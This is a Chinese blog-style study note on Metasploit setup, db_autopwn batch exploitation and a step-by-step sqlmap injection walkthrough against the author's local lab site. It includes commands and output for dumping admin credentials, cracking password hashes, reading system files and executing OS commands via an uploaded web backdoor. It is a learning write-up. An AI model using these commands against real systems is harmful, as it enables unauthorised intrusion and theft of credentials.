欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

MSF学习笔记

程序员文章站 2022-03-31 10:15:28
最近在研究WEB渗透方向的内容,看了很多的MS**-*之类的微软漏洞,就寻思着能不能利用MSF自动化工具进行自动话的批量扫描。对一个网段中的所有主机的进行全模块的扫描。 遇到的第一个问题就是...
最近在研究WEB渗透方向的内容,看了很多的MS**-*之类的微软漏洞,就寻思着能不能利用MSF自动化工具进行自动话的批量扫描。对一个网段中的所有主机的进行全模块的扫描。
遇到的第一个问题就是postgresql的安装和集成问题。下面是自己整理的安装过程,做一下学习笔记。
我的机器是Red Hat EnterPrice Linux AS5 。
 
1.    安装postgresql
就用官方centos的yum源就可以了,如果想要8.4以上更高版本的可以参考这篇文章。
http://wiki.postgresql.org/wiki/YUM_Installation
 
1.1 yum -y install postgresql84*
 
2. 初始化数据目录
安装完成后还有一个必须的步骤: 初始化数据目录。由于postgresql是以postgres用户运行的,目录的属主必须指定为postgres。默认的数据目录是/var/lib/pgsql/data,如果不是则需要用-D参数指定。
首先需要切换为postgres用户才能运行initdb命令,另外要注意当前系统的locale,windows下ssh登录的zh_CN.GB18030就安装不了,把语言设置为en_US.UTF8就行了。
2.1 su postgres
2.2 initdb -D /var/lib/pgsql/data
如果指定的不是默认数据目录,需要更改/etc/init.d/postgresql启动脚本,把PGDATA,PGLOG目录指定新设置的目录。如果启动有问题,查看数据目录下的pgstartup.log日志文件
 
3. 启动服务
3.1 chkconfig postgresql on(可选,如果不需要开机自动自动就不需要这条命令)
3.2 postgres -D /var/lib/pgsql/data & 或者  pg_ctl -D /var/lib/pgsql/data -l logfile start(注意,两条任意一条一定要以potgres身份执行)
 配置文件是数据目录下的postgresql.conf, 默认监听5432端口,所有IP地址。
listen_addresses='192.168.1.11' 改为只监听内网IP

3.3 netstat -nltp | grep 5432 看看有没有5432端口在监听
 
4. 配置postgresql
4.1 psql -U postgres       以postgres用户身份连接postgresql
 
4.2 修改postgres账户的密码,注意,这个是数据库中的密码,要linux账户密码区分开来,网上的教程说要修改linux下的postgres账户的密码,其实不修改也可以
ALTER USER postgres with PASSWORD '111'
 
4.3 创建数据库
createdb -O postgres msfbook
msfbook数据库用户MSF保存扫描结果,我们可以先创建好
 
 
5. 配置MSF
5.1 检测连接状态
db_status
 
5.2 连接数据库
postsql启动后,我们需要让MSF框架连接到这个实例上
db_connect postgres:111@127.0.0.1/msfbook
如果是第一次连接到这个数据库msfbook,MSF会自动为我们为了完成初始化的建表工作。如果不是,则直接返回交互式界面。
 
5.3 检测连接状态
db_status 
再次检查连接状态,如提示已经连接并显示密码则表示msf框架连接postsql数据库实例成功了。
在windows上安装pgadmin后,连接pg时遇到一系列用户权限的问题。
http://blog.csdn.net/zzy7075/article/details/5727502
配置好postgresql.conf;   pg_hba.conf这两个文件后,连接成功。
 
 
6. 将NMAP输出的结果导入MSF
当与其他组员一起协同进行渗透测试工作时,不同的人可能在不同的时间和地点进行扫描。应当把每个人独立运行的nmap扫描结果导入到MetaSploit框架中,可以将一个nmap生成的基本XML报告文件(nmap -oX)导入到MSF中。也就是保存在postgresql数据库中。
 
6.1 用nmap生成扫描报告
nmap -sS -O -PI -PT -oX /root/Desktop/result 192.168.174.129
将在桌面生成一个result.xml文件
 
6.2 将扫描结果导出数据库
db_connect postgres:111@127.0.0.1/msfbook
db_import /root/Desktop/result
hosts -c address
返回一个主机IP列表,表名我们已经成功将nmap输出导入到了MSF中
 
6.3 在MSF终端中运行Namp
配置好postgresql并成功连接及导入,现在我们已经完成了MSF和数据库的准备工作。接下来,让我们把nmap和MSF结合起来使用。
6.3.1 连接到msfbook数据库
db_connect postgres:111@127.0.0.1/msfbook
6.3.2 在MSF终端中运行Namp,并自动将namp扫描结果存储在数据库中。
db_nmap -sS -A 192.168.174.129
可以运行services命令来查看数据库中的关于系统上运行服务的扫描结果
services
 
 
至此,MSF和postgresql数据的连接以及nmap集成到MSF的扫描就算完成了,但是,我们在扫描一个网段的时候,往往是面对很多台主机各种不同的操作系统,如果一台一台的试一个模块一个模块的试就太麻烦了。接下来,我们要完成对多台主机的多模块自动批量扫描。
1. db_autopwn
这是一个自动化扫描的脚本,ruby语言编写的。在新版本的MSF中已经取消了这个命令,我们需要下载这个脚本并手工加载。
将附件db_autopwn.rp 拷贝到
/opt/metasploit/apps/pro/msf3/plugins(根据具体情况可能会不同,就是本机msf的plugin安装目录)路径下。
加载脚本:msf > load db_autopwn
加载成功后:db_autopwn这个脚本模块即可正常使用了。
 
接下来要怎么使用呢:
1)连接数据库
db_connect postgres:111@127.0.0.1/msfbook
 
2)使用Nmap对远程主机进行扫描
db_nmap -sS -A 192.168.174.129
这一步,可以对一个网段进行扫描,扫描结果会自动记录到数据库中。为下一步的自动化批量扫描做准备。
 
3)使用db_autopwn对数据库中记录的主机记录进行自动话的全模块扫描
db_autopwn -p -e -b
启动后,脚本就会根据扫描出的主机类型,自动调用匹配的攻击模块进行试探攻击,同时如果数据库中有多条记录,也会自动地对多条记录进行批量攻击。
这里简单解释一下这几个参数的意思。
-p: 选择基于开放端口的模块(比如如果开放了135端口并且是windows系统,就自动试试MS08-067)
-e: 运行所有匹配目标的利用程序(相当于exploit命令)
-b: 用一个随机端口的绑定shell(bind)
 
4) 批量扫描结束后,会显示已经打开的meterpreter,接下来可以输入meterpreter的命令或转换到相应的频道,输入shell,获得cmd窗口
 
 
 
 
 
 
2. SqlMap:Sql Injection Pentest
本来想做的是MSF上的auxiliary辅助模块里面的sqlmap脚本的,但是一直没成功。貌似这个集成模块有些问题。没办法就用独立sqlmap的那个python脚本来学习吧。
但是这种方法好像没法像MSF那样进行批量测试,只能一个网站一个网站的测试。因为每个网站的URL路径不同,能触发sql漏洞的脚本路径也是不同的,所以需要我们在使用sqlmap之前进行踩点,确定某个地方可能存在注入漏洞时(最好结合手工注入先测试一下),在使用sqlmap自动化工具进行攻击。
 
http://192.168.0.103/company/do/alonepage.php?id=3(这是一个存在sql漏洞的脚本URL)
这里使用本地搭建的一个网站,并已知某个页面存在着sql注入漏洞,实际上这个工作是需要前期通过探测完成的。这里就跳过了,专注与sqlmap的使用上。
 
1) 安装sqlmap
首先安装python2.52
然后进入sqlmap的目录   cd pentest/database/sqlmap   (默认是这个目录)
查看一下sqlmap使用帮助      python sqlmap.py  -hh
 
2)对注入点进行初步探测
1. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --current-user               #获取当前用户名称
 
[10:23:01] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.12, Apache 2.4.4
back-end DBMS: MySQL 5.0
[10:23:01] [INFO] fetching current user
current user:    'root@localhost'
result:我们知道了当前这个php页面是使用root这个用户名登入数据库的,并且知道了服务器上的环境信息,知道了版本,就可以在CVE上寻找相应的漏洞进行利用了。
2.  python  sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --current-db                           #获取当前数据库名称
[10:37:07] [INFO] fetching current database
current database:    'company'
result:重复的信息就不列出来了,现在知道了目标网站使用company这个数据库。
3. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --tables -D "company"        #列表名
[10:41:19] [INFO] fetching tables for database: 'company'
[10:41:19] [INFO] the SQL query used returns 75 entries
[10:41:19] [INFO] retrieved: "p8_ad"
[10:41:19] [INFO] retrieved: "p8_ad_user"
[10:41:19] [INFO] retrieved: "p8_admin_menu"
[10:41:19] [INFO] retrieved: "p8_alonepage"
[10:41:20] [INFO] retrieved: "p8_area"
[10:41:20] [INFO] retrieved: "p8_article"
[10:41:20] [INFO] retrieved: "p8_article_content_100"
[10:41:20] [INFO] retrieved: "p8_article_content_101"
[10:41:20] [INFO] retrieved: "p8_article_content_102"
[10:41:20] [INFO] retrieved: "p8_article_content_103"
[10:41:20] [INFO] retrieved: "p8_article_content_104"
[10:41:20] [INFO] retrieved: "p8_article_content_105"
[10:41:20] [INFO] retrieved: "p8_article_db"
[10:41:20] [INFO] retrieved: "p8_article_module"
[10:41:20] [INFO] retrieved: "p8_channel"
[10:41:20] [INFO] retrieved: "p8_collection"
[10:41:20] [INFO] retrieved: "p8_comment"
[10:41:20] [INFO] retrieved: "p8_config"
[10:41:20] [INFO] retrieved: "p8_copyfrom"
[10:41:21] [INFO] retrieved: "p8_count_site"
[10:41:21] [INFO] retrieved: "p8_count_stat"
[10:41:21] [INFO] retrieved: "p8_count_user"
[10:41:21] [INFO] retrieved: "p8_exam_form"
[10:41:21] [INFO] retrieved: "p8_exam_form_element"
[10:41:21] [INFO] retrieved: "p8_exam_sort"
[10:41:21] [INFO] retrieved: "p8_exam_student"
[10:41:21] [INFO] retrieved: "p8_exam_student_title"
[10:41:21] [INFO] retrieved: "p8_exam_title"
[10:41:21] [INFO] retrieved: "p8_form_content"
[10:41:21] [INFO] retrieved: "p8_form_content_2"
[10:41:21] [INFO] retrieved: "p8_form_content_3"
[10:41:21] [INFO] retrieved: "p8_form_content_6"
[10:41:21] [INFO] retrieved: "p8_form_content_7"
[10:41:22] [INFO] retrieved: "p8_form_content_9"
[10:41:22] [INFO] retrieved: "p8_form_module"
[10:41:22] [INFO] retrieved: "p8_form_reply"
[10:41:22] [INFO] retrieved: "p8_friendlink"
[10:41:22] [INFO] retrieved: "p8_friendlink_sort"
[10:41:22] [INFO] retrieved: "p8_gather_rule"
[10:41:22] [INFO] retrieved: "p8_gather_sort"
[10:41:22] [INFO] retrieved: "p8_group"
[10:41:22] [INFO] retrieved: "p8_guestbook"
[10:41:22] [INFO] retrieved: "p8_hack"
[10:41:22] [INFO] retrieved: "p8_jfabout"
[10:41:22] [INFO] retrieved: "p8_jfsort"
[10:41:22] [INFO] retrieved: "p8_keyword"
[10:41:22] [INFO] retrieved: "p8_keywordid"
[10:41:23] [INFO] retrieved: "p8_label"
[10:41:23] [INFO] retrieved: "p8_limitword"
[10:41:23] [INFO] retrieved: "p8_memberdata"
[10:41:23] [INFO] retrieved: "p8_memberdata_1"
[10:41:23] [INFO] retrieved: "p8_members"
[10:41:23] [INFO] retrieved: "p8_menu"
[10:41:23] [INFO] retrieved: "p8_module"
[10:41:23] [INFO] retrieved: "p8_moneycard"
[10:41:23] [INFO] retrieved: "p8_olpay"
[10:41:23] [INFO] retrieved: "p8_online_consultation"
[10:41:23] [INFO] retrieved: "p8_pm"
[10:41:23] [INFO] retrieved: "p8_propagandize"
[10:41:23] [INFO] retrieved: "p8_reply"
[10:41:24] [INFO] retrieved: "p8_report"
[10:41:24] [INFO] retrieved: "p8_sellad"
[10:41:24] [INFO] retrieved: "p8_sellad_user"
[10:41:24] [INFO] retrieved: "p8_shoporderproduct"
[10:41:24] [INFO] retrieved: "p8_shoporderuser"
[10:41:24] [INFO] retrieved: "p8_sort"
[10:41:24] [INFO] retrieved: "p8_special"
[10:41:24] [INFO] retrieved: "p8_special_comment"
[10:41:24] [INFO] retrieved: "p8_spsort"
[10:41:24] [INFO] retrieved: "p8_template"
[10:41:24] [INFO] retrieved: "p8_template_bak"
[10:41:24] [INFO] retrieved: "p8_upfile"
[10:41:24] [INFO] retrieved: "p8_vote"
[10:41:25] [INFO] retrieved: "p8_vote_comment"
[10:41:25] [INFO] retrieved: "p8_vote_config"
Database: company                                                              
[75 tables]
+------------------------+
| p8_ad                  |
| p8_ad_user             |
| p8_admin_menu          |
| p8_alonepage           |
| p8_area                |
| p8_article             |
| p8_article_content_100 |
| p8_article_content_101 |
| p8_article_content_102 |
| p8_article_content_103 |
| p8_article_content_104 |
| p8_article_content_105 |
| p8_article_db          |
| p8_article_module      |
| p8_channel             |
| p8_collection          |
| p8_comment             |
| p8_config              |
| p8_copyfrom            |
| p8_count_site          |
| p8_count_stat          |
| p8_count_user          |
| p8_exam_form           |
| p8_exam_form_element   |
| p8_exam_sort           |
| p8_exam_student        |
| p8_exam_student_title  |
| p8_exam_title          |
| p8_form_content        |
| p8_form_content_2      |
| p8_form_content_3      |
| p8_form_content_6      |
| p8_form_content_7      |
| p8_form_content_9      |
| p8_form_module         |
| p8_form_reply          |
| p8_friendlink          |
| p8_friendlink_sort     |
| p8_gather_rule         |
| p8_gather_sort         |
| p8_group               |
| p8_guestbook           |
| p8_hack                |
| p8_jfabout             |
| p8_jfsort              |
| p8_keyword             |
| p8_keywordid           |
| p8_label               |
| p8_limitword           |
| p8_memberdata          |
| p8_memberdata_1        |
| p8_members             |
| p8_menu                |
| p8_module              |
| p8_moneycard           |
| p8_olpay               |
| p8_online_consultation |
| p8_pm                  |
| p8_propagandize        |
| p8_reply               |
| p8_report              |
| p8_sellad              |
| p8_sellad_user         |
| p8_shoporderproduct    |
| p8_shoporderuser       |
| p8_sort                |
| p8_special             |
| p8_special_comment     |
| p8_spsort              |
| p8_template            |
| p8_template_bak        |
| p8_upfile              |
| p8_vote                |
| p8_vote_comment        |
| p8_vote_config         |
+------------------------+
result:这样就基本知道了目标主机mysql数据中的所有表名
4. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --columns -T "p8_members" users -D "company" -v 0                               #列字段,一般是列账户信息的那个表
[10:47:35] [INFO] fetching columns for table 'p8_members' in database 'company'
[10:47:36] [INFO] the SQL query used returns 3 entries
[10:47:36] [INFO] retrieved: "uid","mediumint(7) unsigned"
[10:47:36] [INFO] retrieved: "username","varchar(30)"
[10:47:36] [INFO] retrieved: "password","varchar(32)"
Database: company                                                                                                           
Table: p8_members
[3 columns]
+----------+-----------------------+
| Column   | Type                  |
+----------+-----------------------+
| password | varchar(32)           |
| uid      | mediumint(7) unsigned |
| username | varchar(30)           |
+----------+-----------------------+
result:知道了保存帐号信息的表结构。
5. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --dump  -C "username"  -T "p8_members" -D "company" -v 0
python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --dump  -C "password"  -T "p8_members" -D "company" -v 0   
#获取字段内容,获取帐号和密码
do you want sqlmap to consider provided column(s):
[1] as LIKE column names (default)
[2] as exact column names
> 1
 
[10:52:21] [INFO] fetching columns like 'username' for table 'p8_members' in database 'company'
[10:52:21] [INFO] the SQL query used returns 1 entries
[10:52:21] [INFO] retrieved: "username","varchar(30)"
[10:52:21] [INFO] fetching entries of column(s) 'username' for table 'p8_members' in database 'company'                     
[10:52:22] [INFO] the SQL query used returns 1 entries
[10:52:22] [INFO] retrieved: "admin"
[10:52:22] [INFO] analyzing table dump for possible password hashes                                                         
Database: company
Table: p8_members
[1 entry]
+----------+
| username |
+----------+
| admin    |
+----------+
 
do you want sqlmap to consider provided column(s):
[1] as LIKE column names (default)
[2] as exact column names
> 1
 
[10:53:17] [INFO] fetching columns like 'password' for table 'p8_members' in database 'company'
[10:53:17] [INFO] the SQL query used returns 1 entries
[10:53:17] [INFO] retrieved: "password","varchar(32)"
[10:53:17] [INFO] fetching entries of column(s) 'password' for table 'p8_members' in database 'company'                    
[10:53:17] [INFO] the SQL query used returns 1 entries
[10:53:17] [INFO] retrieved: "698d51a19d8a121ce581499d7b701668"
[10:53:17] [INFO] analyzing table dump for possible password hashes                                                         
recognized possible password hashes in column 'password'. Do you want to crack them via a dictionary-based attack? [Y/n/q] y
 
[10:53:24] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/pentest/database/sqlmap/txt/wordlist.txt' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
 
[10:53:28] [INFO] using default dictionary
[10:53:28] [INFO] loading dictionary from '/pentest/database/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] y
 
[10:53:32] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[10:53:32] [INFO] cracked password '111' for hash '698d51a19d8a121ce581499d7b701668'                                       
[10:53:32] [INFO] postprocessing table dump                                                                                 
Database: company
Table: p8_members
[1 entry]
+----------------------------------------+
| password                               |
+----------------------------------------+
| 698d51a19d8a121ce581499d7b701668 (111) |
+----------------------------------------+
result:这里可以用MSF的字典进行破解,也可以自己本地字典跑或者拿到 cmd5.com网站上去破解。
 
 
3)信息获取
做完上面的步骤后,就已经获取的网站后台的帐号和密码,可以登入到后台,上传webshell,进一步提权。
但是sqlmap的用处远不止如此,我们可以利用sqlmap继续获取一些有用的信息
1.     python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --smart --level 3 --users    
# smart智能 level 执行测试等级(可以用来获取数据库中所有的用户)
[11:12:54] [INFO] fetching database users
[11:12:54] [INFO] the SQL query used returns 85 entries
[11:12:54] [INFO] retrieved: "'root'@'localhost'"
[11:12:54] [INFO] retrieved: "'root'@'localhost'"
[11:12:54] [INFO] retrieved: "'root'@'localhost'"
[11:12:54] [INFO] retrieved: "'root'@'localhost'"
[11:12:54] [INFO] retrieved: "'root'@'localhost'"
[11:12:54] [INFO] retrieved: "'root'@'localhost'"
[11:12:54] [INFO] retrieved: "'root'@'localhost'"
[11:12:55] [INFO] retrieved: "'root'@'localhost'"
[11:12:55] [INFO] retrieved: "'root'@'localhost'"
[11:12:55] [INFO] retrieved: "'root'@'localhost'"
[11:12:55] [INFO] retrieved: "'root'@'localhost'"
[11:12:55] [INFO] retrieved: "'root'@'localhost'"
[11:12:55] [INFO] retrieved: "'root'@'localhost'"
[11:12:55] [INFO] retrieved: "'root'@'localhost'"
[11:12:55] [INFO] retrieved: "'root'@'localhost'"
[11:12:55] [INFO] retrieved: "'root'@'localhost'"
[11:12:55] [INFO] retrieved: "'root'@'localhost'"
[11:12:55] [INFO] retrieved: "'root'@'localhost'"
[11:12:55] [INFO] retrieved: "'root'@'localhost'"
[11:12:55] [INFO] retrieved: "'root'@'localhost'"
[11:12:56] [INFO] retrieved: "'root'@'localhost'"
[11:12:56] [INFO] retrieved: "'root'@'localhost'"
[11:12:56] [INFO] retrieved: "'root'@'localhost'"
[11:12:56] [INFO] retrieved: "'root'@'localhost'"
[11:12:56] [INFO] retrieved: "'root'@'localhost'"
[11:12:56] [INFO] retrieved: "'root'@'localhost'"
[11:12:56] [INFO] retrieved: "'root'@'localhost'"
[11:12:56] [INFO] retrieved: "'root'@'localhost'"
[11:12:56] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:56] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:56] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:56] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:56] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:57] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:58] [INFO] retrieved: "'root'@'127.0.0.1'"
[11:12:58] [INFO] retrieved: "'root'@'::1'"
[11:12:58] [INFO] retrieved: "'root'@'::1'"
[11:12:59] [INFO] retrieved: "'root'@'::1'"
[11:12:59] [INFO] retrieved: "'root'@'::1'"
[11:12:59] [INFO] retrieved: "'root'@'::1'"
[11:12:59] [INFO] retrieved: "'root'@'::1'"
[11:12:59] [INFO] retrieved: "'root'@'::1'"
[11:12:59] [INFO] retrieved: "'root'@'::1'"
[11:12:59] [INFO] retrieved: "'root'@'::1'"
[11:12:59] [INFO] retrieved: "'root'@'::1'"
[11:12:59] [INFO] retrieved: "'root'@'::1'"
[11:12:59] [INFO] retrieved: "'root'@'::1'"
[11:12:59] [INFO] retrieved: "'root'@'::1'"
[11:12:59] [INFO] retrieved: "'root'@'::1'"
[11:12:59] [INFO] retrieved: "'root'@'::1'"
[11:13:00] [INFO] retrieved: "'root'@'::1'"
[11:13:00] [INFO] retrieved: "'root'@'::1'"
[11:13:00] [INFO] retrieved: "'root'@'::1'"
[11:13:00] [INFO] retrieved: "'root'@'::1'"
[11:13:00] [INFO] retrieved: "'root'@'::1'"
[11:13:00] [INFO] retrieved: "'root'@'::1'"
[11:13:00] [INFO] retrieved: "'root'@'::1'"
[11:13:00] [INFO] retrieved: "'root'@'::1'"
[11:13:00] [INFO] retrieved: "'root'@'::1'"
[11:13:01] [INFO] retrieved: "'root'@'::1'"
[11:13:01] [INFO] retrieved: "'root'@'::1'"
[11:13:01] [INFO] retrieved: "'root'@'::1'"
[11:13:01] [INFO] retrieved: "'root'@'::1'"
[11:13:01] [INFO] retrieved: "''@'localhost'"
database management system users [85]:                                                                                      
[*] ''@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'
 
2. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3"  --dbms "Mysql" --users  
# dbms 指定数据库类型,可以用来确认数据库的类型
[11:14:37] [INFO] testing MySQL
[11:14:37] [INFO] confirming MySQL
[11:14:38] [INFO] the back-end DBMS is MySQL
 
web application technology: PHP 5.4.12, Apache 2.4.4
back-end DBMS: MySQL >= 5.0.0
[11:14:38] [INFO] fetching database users
[11:14:38] [INFO] the SQL query used returns 85 entries
database management system users [85]:                                                                                      
[*] ''@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'
 
 
3. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --users          #列数据库用户
作用和上面的smart智能 level 执行测试等级作用是一样的,可以获取当前主机中数据库中的所有用户
 
4. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --dbs             #列数据库
 
[11:17:49] [INFO] fetching database names
[11:17:49] [INFO] the SQL query used returns 5 entries
[11:17:49] [INFO] retrieved: "information_schema"
[11:17:49] [INFO] retrieved: "company"
[11:17:49] [INFO] retrieved: "mysql"
[11:17:49] [INFO] retrieved: "performance_schema"
[11:17:49] [INFO] retrieved: "test"
available databases [5]:                                                                                                    
[*] company
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
result:和获取当前数据库不同,这个命令可以获取所有的数据库名
 
5.python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --passwords         #数据库用户密码
[11:19:13] [INFO] fetching database users password hashes
[11:19:14] [INFO] the SQL query used returns 4 entries
[11:19:14] [INFO] retrieved: "root","*832EB84CB764129D05D498ED9CA7E5CE9B8F83EB"
[11:19:14] [INFO] retrieved: "root","*832EB84CB764129D05D498ED9CA7E5CE9B8F83EB"
[11:19:14] [INFO] retrieved: "root","*832EB84CB764129D05D498ED9CA7E5CE9B8F83EB"
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y                              
 
[11:19:26] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/pentest/database/sqlmap/txt/wordlist.txt' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
 
[11:19:28] [INFO] using default dictionary
[11:19:28] [INFO] loading dictionary from '/pentest/database/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] y
 
[11:19:30] [INFO] starting dictionary-based cracking (mysql_passwd)
[11:19:31] [INFO] cracked password '111' for user 'root'                                                                    
database management system users password hashes:                                                                           
[*] root [3]:
    password hash: *832EB84CB764129D05D498ED9CA7E5CE9B8F83EB
    clear-text password: 111
    password hash: *832EB84CB764129D05D498ED9CA7E5CE9B8F83EB
    clear-text password: 111
    password hash: *832EB84CB764129D05D498ED9CA7E5CE9B8F83EB
    clear-text password: 111
result:获取当前数据库的用户密码,注意,这里是因为恰巧我自己本机上数据库也是用111密码,实际上这个密码和之前的账户密码111是不同的。这个数据库主机的账户密码,是用来登入数据库主机的,而之前的账户密码是用来登入网站的。
 
6. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --dump -C "password,username,uid" -T "p8_members" -D "company" --start 1 --stop 20  
#列出指定字段,列出20条,可以一次性列出多个字段的数据
do you want sqlmap to consider provided column(s):
[1] as LIKE column names (default)
[2] as exact column names
> 1
 
[11:24:52] [INFO] fetching columns like 'password, uid, username' for table 'p8_members' in database 'company'
[11:24:53] [INFO] the SQL query used returns 3 entries
[11:24:53] [INFO] retrieved: "uid","mediumint(7) unsigned"
[11:24:53] [INFO] retrieved: "username","varchar(30)"
[11:24:53] [INFO] retrieved: "password","varchar(32)"
[11:24:53] [INFO] fetching entries of column(s) 'password, uid, username' for table 'p8_members' in database 'company'      
[11:24:53] [INFO] retrieved: "698d51a19d8a121ce581499d7b701668","1","admin"
[11:24:53] [INFO] analyzing table dump for possible password hashes                                                         
recognized possible password hashes in column 'password'. Do you want to crack them via a dictionary-based attack? [Y/n/q] y
 
[11:24:55] [INFO] using hash method 'md5_generic_passwd'
[11:24:55] [INFO] resuming password '111' for hash '698d51a19d8a121ce581499d7b701668' for user 'admin'
[11:24:55] [INFO] postprocessing table dump
Database: company
Table: p8_members
[1 entry]
+-----+----------+----------------------------------------+
| uid | username | password                               |
+-----+----------+----------------------------------------+
| 1   | admin    | 698d51a19d8a121ce581499d7b701668 (111) |
+-----+----------+----------------------------------------+
result:注意,越到后面,这些参数越不能错了,数据库名,表名,字段名都必须正确,这些信息应该在之前获得
 
7. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --dump-all -v 0   #列出所有数据库所有表
 
8. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --privileges     #查看权限
 
9. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --is-dba -v 1    #是否是数据库管理员
[11:28:30] [INFO] testing if current user is DBA
[11:28:30] [INFO] fetching current user
current user is DBA:    'True'
 
10. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --udf-inject 
#导入用户自定义函数(获取系统权限!)
 
11. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --cookie "111"   #cookie注入
12. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --data "id=3"  #post注入
13. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --proxy"http://127.0.0.1:8118" #代理注入
(这几种注入的原理不是太清楚,还有待学习啊)
 
14. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --sql-shell        #执行指定sql命令
(貌似效果不好,原理也不是很清楚)
 
15. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --file /etc/passwd
 
[11:37:41] [INFO] fingerprinting the back-end DBMS operating system
[11:37:41] [INFO] the back-end DBMS operating system is Windows
[11:37:41] [INFO] fetching file: '/etc/passwd'
/etc/passwd file saved to: None
result:这个指令厉害了,可以直接获得系统级的账户信息。因为我这里网站的主机是windows的,所有没有这个文件,如果是linux也许能获取到,没实验过,留到实战中去检验吧。
 
16. python sqlmap.py -u "http://192.168.0.103/company/do/alonepage.php?id=3" --os-cmd=dir        #执行系统命令
 
[11:43:01] [INFO] going to use a web backdoor for command execution
[11:43:01] [INFO] fingerprinting the back-end DBMS operating system
[11:43:02] [INFO] the back-end DBMS operating system is Windows
[11:43:02] [INFO] trying to upload the file stager
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] PHP (default)
[4] JSP
> 3
 
[11:43:03] [WARNING] unable to retrieve the web server document root
please provide the web server document root [C:/xampp/htdocs/,C:/Inetpub/wwwroot/]: E:\wamp\www
 
[11:43:12] [WARNING] unable to retrieve any web server path
please provide any additional web server full path to try to upload the agent [Enter for None]: 
 
[11:43:13] [WARNING] reflective value(s) found and filtering out
[11:43:13] [INFO] heuristics detected web page charset 'GB2312'
[11:43:13] [INFO] the file stager has been successfully uploaded on 'E:/wamp/www' - http://192.168.0.103:80/tmpukaau.php
[11:43:14] [INFO] the backdoor has probably been successfully uploaded on 'E:/wamp/www' - http://192.168.0.103:80/tmpbytiq.php
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
---
 驱动器 E 中的卷是 小瀚工作
 卷的序列号是 0002-C47E
 
 E:\wamp\www 的目录
 
2013/08/02  23:43    <DIR>          .
2013/08/02  23:43    <DIR>          ..
2013/08/01  14:18    <DIR>          company
2013/07/24  20:08            21,237 index.php
2013/07/25  13:07    <DIR>          phpcms2007
2013/07/26  07:53    <DIR>          RFI
2013/06/23  10:56               184 testmysql.php
2013/08/02  23:42               908 tmpbjteg.php
2013/08/02  23:41               908 tmpbmkkd.php
2013/08/02  23:43               908 tmpbytiq.php
2013/08/02  23:42             3,033 tmpudkdc.php
2013/08/02  23:41             3,033 tmpugvdx.php
2013/08/02  23:43             3,033 tmpukaau.php
2013/08/01  14:44    <DIR>          web
               8 个文件         33,244 字节
               6 个目录 329,138,982,912 可用字节
---
